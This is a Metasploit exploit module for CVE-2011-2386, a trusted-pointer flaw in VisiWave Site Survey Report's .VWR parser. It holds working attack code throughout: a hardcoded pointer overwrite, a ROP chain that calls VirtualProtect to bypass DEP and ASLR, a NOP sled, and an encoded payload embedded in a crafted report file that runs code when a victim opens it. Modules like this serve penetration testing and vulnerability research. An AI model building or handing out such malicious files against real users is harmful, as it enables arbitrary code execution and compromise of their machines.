##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VisiWave VWR File Parsing Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability found in VisiWave's Site Survey Report application.
        When processing .VWR files, VisiWaveReport.exe attempts to match a valid pointer based on the 'Type'
        property (valid ones include 'Properties', 'TitlePage', 'Details', 'Graph', 'Table', 'Text',
        'Image'), but if a match isn't found, the function that's supposed to handle this routine
        ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]
        instruction.  This allows attackers to overwrite it with any arbitrary value, and results code
        execution.  A patch is available at visiwave.com; the fix is done by XORing the return value as
        null if no match is found, and then it is validated before use.

        NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a
        victim user to 'double click' the malicious VWR file and execute code.  This module was also built
        to bypass ASLR and DEP.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>',  # original discovery & msf exploit
          'TecR0c <roccogiovannicalvi[at]gmail.com>'  # msf exploit
        ],
      'References'     =>
        [
          [ 'CVE', '2011-2386' ],
          [ 'OSVDB', '72464'],
          [ 'URL', 'http://www.visiwave.com/blog/index.php?/archives/4-Version-2.1.9-Released.html' ],
          [ 'URL', 'http://www.stratsec.net/Research/Advisories/VisiWave-Site-Survey-Report-Trusted-Pointer-%28SS-20'],
        ],
      'Payload'        =>
        {
          'Space'       => 2000,
          'BadChars'    => "\x00\x0a\x0d",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows XP SP3/Windows 7 SP0',
            {
              'Offset' => 3981,         # offset to rop gadgets
              'Pointer' => 0x007AF938,  # POP R32; POP R32; POP R32; ADD ESP 50; RETN ("magic" pointer)
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 20 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.vwr']),
      ])
  end

  def exploit

    # Allowing nulls in our rop chain is like giving gold to midas.
    # instructions taken from the applications non aslr modules
    # libcurl.dll, VisiWaveReport.exe and blah blah
    rop_gadgets =
    [
      0x1001AFBD,  # INC EBP; PUSH ESP; POP EDI; POP ESI; POP EBP; POP EBX; RET
      0xc0fff333,  # junk
      0xc0fff333,  # junk
      0x000004cf,  # lwSize 1231 bytes
      0x100017DD,  # POP ECX; RETN
      0x10037a60,  # Writeable address from .data of libcurl.dll
      0x10011104,  # POP EDX; RETN
      0x00000040,  # RWX for VirtualProtect()
      0x10026E4D,  # MOV EAX,EDI # POP EDI # RETN
      0x10002ac6,  # RETN
      0x10022641,  # ADD EAX, 20; RETN
      0x10022641,  # ADD EAX, 20; RETN
      0x10022641,  # ADD EAX, 20; RETN
      0x10022641,  # ADD EAX, 20; RETN
      0x10022641,  # ADD EAX, 20; RETN
      0x10022641,  # ADD EAX, 20; RETN
      0x004048B1,  # XCHG EAX,EBP
      0x1001BD3F,  # POP EAX; RETN
      0x10032048,  # IAT Address - constant pointer to VirtualProtect()
      0x1000FA4A,  # MOV EAX,DWORD PTR DS:[EAX]; RETN
      0x00657fd7,  # XCHG EAX,ESI; RETN
      0x1000af40,  # PUSHAD; RET
    ].pack("V*")

    # grab the pointer to our buffer
    pointer = [target["Pointer"]].pack("V")

    sploit = pointer  # begin life in EDX
    sploit << rand_text_alphanumeric(target["Offset"])  # massive offset
    sploit << rop_gadgets      # rop chain
    sploit << make_nops(300)   # safe landing
    sploit << payload.encoded  # profit!

    vwr_data = "FileType: SSREPORT\r\n"
    vwr_data << "Product: VisiWave Site Survey, 1.6.5 Beta\r\n"
    vwr_data << "FileVersion: 10\r\n"
    vwr_data << "Item: Global Properties\r\n"
    vwr_data << "Checked: 1\r\n"
    vwr_data << "Type: #{sploit}\r\n"
    vwr_data << "SurveyFile: C:\\Program Files\\VisiWave Site Survey\\Samples\\SampleData.vws\r\n"
    vwr_data << "FloorPlanImageReport: C:\\WINDOWS\\Web\\bullet.gif\r\n"
    vwr_data << "DefaultOrientation: 0\r\n"
    vwr_data << "Header:\r\n"
    vwr_data << "Footer:\r\n"
    vwr_data << "LeftMargin: 100\r\n"
    vwr_data << "RightMargin: 100\r\n"
    vwr_data << "TopMargin: 50\r\n"
    vwr_data << "BottomMargin: 50\r\n"
    vwr_data << "Item: #{rand_text_alpha(3)}\r\n"
    vwr_data << "Checked: 1\r\n"

    print_status("Creating '#{datastore['FILENAME']}'...")
    file_create(vwr_data)
  end

end
